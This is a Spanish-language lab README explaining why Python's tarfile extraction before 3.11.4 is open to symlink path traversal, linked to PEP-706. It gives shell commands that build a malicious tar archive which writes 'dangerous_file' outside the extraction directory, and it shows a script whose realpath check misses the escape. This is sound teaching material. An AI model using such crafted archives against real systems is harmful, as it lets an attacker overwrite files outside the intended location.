
Esta es una demostración de cómo el manejo predeterminado de Python para la extracción de archivos tar anterior a Python v3.11.4 es vulnerable a un simple ataque de symlink. Las instrucciones a continuación describen cómo crear un payload malicioso. El script untar.py demuestra cómo y por qué funcionan las funciones añadidas en 3.11.4; específicamente, la necesidad de invocar algo como os.path.realpath() antes de cada escritura para cada archivo. El script emplea exactamente el mismo método de inspección que se encuentra en la función extraction filter incluida en Python >= 3.11.4, EXCEPTO que no escribe los archivos en el disco. Como tal, muestra cómo os.path.realpath() no puede resolver correctamente los symlinks y, por lo tanto, permitirá que los miembros del tar se escriban fuera de la ubicación prevista del sistema de archivos.
instrucciones (este archivo) sobre cómo configurar el sandbox y el archivo tar malicioso.
script de Python untar.py que demostrará el "porqué" detrás de la reciente implementación de la validación mejorada de tar en la biblioteca tarfile de Python. Debido a cómo funciona os.path.realpath(), no puedes confiar en él para resolver symlinks a menos que esos enlaces ya estén en el sistema de archivos. Esto significa que no puedes confiar únicamente en os.path.realpath() para inspeccionar las rutas de los miembros del tar antes de extraer el archivo. En su lugar, debes llamar a os.path.realpath() antes de cada escritura para cada miembro del archivo con el fin de garantizar la detección de actividad maliciosa de enlaces. Consulta PEP-706 y la documentación de tarfile para obtener más información.
snerd@jess:~$ mkdir -p lab/{lib,target}
snerd@jess:~$ cd lab
snerd@jess:~/lab$ tar -cvPf terry.tar lib
snerd@jess:~/lab$ rm -rf lib
snerd@jess:~/lab$ ln -s . lib
snerd@jess:~/lab$ tar -rvPf terry.tar lib
snerd@jess:~/lab$ rm lib
snerd@jess:~/lab$ mkdir -p lib/lib
snerd@jess:~/lab$ touch lib/dangerous_file
snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
snerd@jess:~/lab$ cp terry.tar target/
snerd@jess:~/lab$ cd target/
snerd@jess:~/lab/target$ tar -xPvf terry.tar
lib/
lib
lib/lib/../dangerous_file
snerd@jess:~/lab/target$ ls
lib terry.tar
snerd@jess:~/lab/target$ ls ../
dangerous_file lib target terry.tar
descargar untar.py de este repositorio y colocarlo en el directorio ./lab
ejecutar el script. observa lo fácil que es engañar a os.path.realpath() cuando el symlink malicioso aún no se ha escrito en el sistema de archivos de destino.
snerd@jess:~/lab$ python3 untar.py
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib/lib/../dangerous_file
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib/dangerous_file
is_tarslip? False
-*-*-*-*-
[Python-Dev] vulnerabilidad de traversal de directorios en tarfile
Alerta: una falla de tarfile de Python de 15 años acecha en 'más de 350.000' proyectos de código
Declaración de 2022 del antiguo [ret. 2019] mantenedor de la biblioteca tarlib
implementación de la nueva función de filtro de extracción introducida en Python 3.11.4